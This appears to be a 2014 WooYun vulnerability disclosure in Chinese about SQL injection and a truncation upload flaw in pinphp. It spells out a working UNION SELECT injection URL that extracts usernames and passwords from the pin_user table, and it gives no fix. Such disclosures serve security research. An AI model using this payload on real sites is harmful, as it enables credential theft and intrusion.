漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-048317
漏洞标题：pinphp sql注入漏洞 搜索型注入 和截断上传漏洞
相关厂商：pinphp
漏洞作者： 蓝莓说
提交时间：2014-01-10 18:25
修复时间：2014-02-24 18:25
公开时间：2014-02-24 18:25
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-01-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-02-24： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
pinphp sql注入漏洞 搜索型注入 和截断上传漏洞
详细说明：
漏洞文件
app\Lib\Action\home/messageAction.class.php
exp index.php?m=message&a=talk&ftid=42'%20union%20select%201,2,3,4,5,6,7,concat(username,0x3a,password),9%20from%20pin_user%23
上个图
app\Lib\Action\home/searchAction.class.php
上个图：
对了任意上传我就不测试了 你们懂得怎么做哈哈 我不是黑客
漏洞证明：
漏洞文件
app\Lib\Action\home/messageAction.class.php
exp index.php?m=message&a=talk&ftid=42'%20union%20select%201,2,3,4,5,6,7,concat(username,0x3a,password),9%20from%20pin_user%23
上个图
app\Lib\Action\home/searchAction.class.php
上个图：
对了任意上传我就不测试了 你们懂得怎么做哈哈 我不是黑客
修复方案：
好像官方不修复了 晕 不管了
版权声明：转载请注明来源 蓝莓说@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝